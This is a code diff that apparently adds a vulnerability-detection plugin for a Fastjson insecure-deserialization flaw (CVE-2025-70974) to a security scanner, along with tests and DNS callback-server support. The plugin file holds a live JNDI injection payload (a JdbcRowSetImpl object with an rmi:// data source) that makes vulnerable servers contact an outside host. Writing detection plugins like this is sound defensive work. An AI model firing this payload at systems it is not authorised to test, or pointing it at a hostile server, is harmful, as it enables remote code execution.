diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto new file mode 100644 index 000000000..7d0c68701 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974.textproto @@ -0,0 +1,72 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "Fastjson_CVE_2025_70974" + author: "Robert Dick (robert@doyensec.com)" + version: "1.0" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "CVE-2025-70974" + } + severity: CRITICAL + title: "Alibaba Fastjson Insecure Deserialization RCE (CVE-2025-70974)" + description: "Due to insecure deserialization in Alibaba's Fastjson, there is a JNDI injection allowing loading remote classes and ultimately Remote Code Execution. This plugin detects the vulnerability using a DNS out of band callback server." + recommendation: "Update Fastjson to the latest version." + related_id: { + publisher: "CVE" + value: "CVE-2025-70974" + } +} + +########### +# ACTIONS # +########### + +actions: { + name: "trigger_rmi" + http_request: { + method: POST + uri: "/" + headers: [ + { name: "Content-Type" value: "application/json" } + ] + data: "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://{{ T_CBS_DNS }}/NoObjectHere\",\"autoCommit\":true}}" + client_options: { + disable_follow_redirects: true + ignore_http_client_errors: true + } + } +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 1000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + + +############# +# WORKFLOWS # +############# + +workflows: { + condition: REQUIRES_DNS_CALLBACK_SERVER + actions: [ + "trigger_rmi", + "sleep", + "check_callback_server_logs" + ] +} diff --git a/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto new file mode 100644 index 000000000..8606d37d5 --- /dev/null +++ b/templated/templateddetector/plugins/cve/2025/Fastjson_CVE_2025_70974_test.textproto @@ -0,0 +1,46 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "Fastjson_CVE_2025_70974" +} + +tests: { + name: "whenVulnerable_returnsTrue" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 200 + body_content: "{}" + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/" + status: 400 + body_content: "{ \"timestamp\":1769092268366, \"status\":400, \"error\":\"Bad Request\", \"exception\":\"org.springframework.http.converter.HttpMessageNotReadableException\", \"message\":\"JSON parse error: autoType is not support. com.sun.rowset.JdbcRowSetImpl; nested exception is com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl\", \"path\":\"/\"}" + } + ] + } +} diff --git a/templated/templateddetector/proto/templated_plugin.proto b/templated/templateddetector/proto/templated_plugin.proto index 98077cb7b..a2cb2ff41 100644 --- a/templated/templateddetector/proto/templated_plugin.proto +++ b/templated/templateddetector/proto/templated_plugin.proto @@ -44,6 +44,7 @@ message PluginWorkflow { enum Condition { CONDITION_UNSPECIFIED = 0; REQUIRES_CALLBACK_SERVER = 1; + REQUIRES_DNS_CALLBACK_SERVER = 2; } message Variable { diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java index 3fba93559..6b9d2df6a 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/Environment.java @@ -46,6 +46,9 @@ public void initializeFor( this.set("T_CBS_URI", tcsClient.getCallbackUri(secret)); this.set("T_CBS_ADDRESS", tcsClient.getCallbackAddress()); this.set("T_CBS_PORT", String.valueOf(tcsClient.getCallbackPort())); + if (tcsClient.isDnsCallback()) { + this.set("T_CBS_DNS", tcsClient.getCallbackDns(secret)); + } } } diff --git a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java index 30d28d43f..c4f2c3420 100644 --- a/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java +++ b/templated/templateddetector/src/main/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetector.java @@ -108,6 +108,8 @@ private final boolean workflowMeetsConditions(PluginWorkflow workflow) { switch (workflow.getCondition()) { case REQUIRES_CALLBACK_SERVER: return tcsClient.isCallbackServerEnabled(); + case REQUIRES_DNS_CALLBACK_SERVER: + return tcsClient.isDnsCallbackServerEnabled(); default: return true; } diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java index 8150d751b..996c8e818 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/EnvironmentTest.java @@ -75,11 +75,46 @@ public void initializeWithCallback_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_URI")) .isEqualTo("http://1.2.3.4:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("1.2.3.4"); assertThat(env.get("T_CBS_PORT")).isEqualTo("1234"); assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); } + @Test + public void initializeWithDnsCallback_setsEnvironment() { + TcsClient tcsClient = new TcsClient("cb.tsunami", 1234, "http://polling/", httpClient); + + NetworkService networkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + NetworkEndpoint.newBuilder() + .setIpAddress(IpAddress.newBuilder().setAddress("127.0.0.1")) + .setHostname(Hostname.newBuilder().setName("hostname")) + .setType(NetworkEndpoint.Type.HOSTNAME_PORT) + .setPort(Port.newBuilder().setPortNumber(80))) + .setTransportProtocol(TransportProtocol.TCP) + .build(); + Environment env = new Environment(false, utcClock); + env.initializeFor(networkService, tcsClient, secretGenerator); + + assertThat(env.get("T_UTL_CURRENT_TIMESTAMP_MS")).isEqualTo("1577836800000"); + assertThat(env.get("T_NS_BASEURL")).isEqualTo("http://hostname:80/"); + assertThat(env.get("T_NS_PROTOCOL")).isEqualTo("TCP"); + assertThat(env.get("T_NS_HOSTNAME")).isEqualTo("hostname"); + assertThat(env.get("T_NS_PORT")).isEqualTo("80"); + assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); + assertThat(env.get("T_CBS_URI")) + .isEqualTo( + "http://2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0" + + ".cb.tsunami:1234/2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0"); + assertThat(env.get("T_CBS_DNS")) + .isEqualTo("2f2f44946531433a8eec636344578b3e6a321a52ff328315f446dfe0.cb.tsunami"); + assertThat(env.get("T_CBS_ADDRESS")).isEqualTo("cb.tsunami"); + assertThat(env.get("T_CBS_PORT")).isEqualTo("1234"); + assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); + } + @Test public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { TcsClient tcsClient = new TcsClient("", 0, "", httpClient); @@ -105,6 +140,7 @@ public void initializeWithoutCallbackButWithSecrets_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_SECRET")).isEqualTo("ffffffffffffffff"); assertThat(env.get("T_CBS_URI")).isNull(); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isNull(); assertThat(env.get("T_CBS_PORT")).isNull(); } @@ -134,6 +170,7 @@ public void initializeWithoutCallback_setsEnvironment() { assertThat(env.get("T_NS_IP")).isEqualTo("127.0.0.1"); assertThat(env.get("T_CBS_SECRET")).isNull(); assertThat(env.get("T_CBS_URI")).isNull(); + assertThat(env.get("T_CBS_DNS")).isNull(); assertThat(env.get("T_CBS_ADDRESS")).isNull(); assertThat(env.get("T_CBS_PORT")).isNull(); } diff --git a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java index 0c5821f36..fced1a4df 100644 --- a/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java +++ b/templated/templateddetector/src/test/java/com/google/tsunami/plugins/detectors/templateddetector/TemplatedDetectorTest.java @@ -163,6 +163,10 @@ public void detect_noEligibleWorkflow_returnsNoFindings() throws InterruptedExce PluginWorkflow.newBuilder() .addActions("action_returns_true") .setCondition(PluginWorkflow.Condition.REQUIRES_CALLBACK_SERVER)) + .addWorkflows( + PluginWorkflow.newBuilder() + .addActions("action_returns_true") + .setCondition(PluginWorkflow.Condition.REQUIRES_DNS_CALLBACK_SERVER)) .build(); var detector = setupDetector(proto);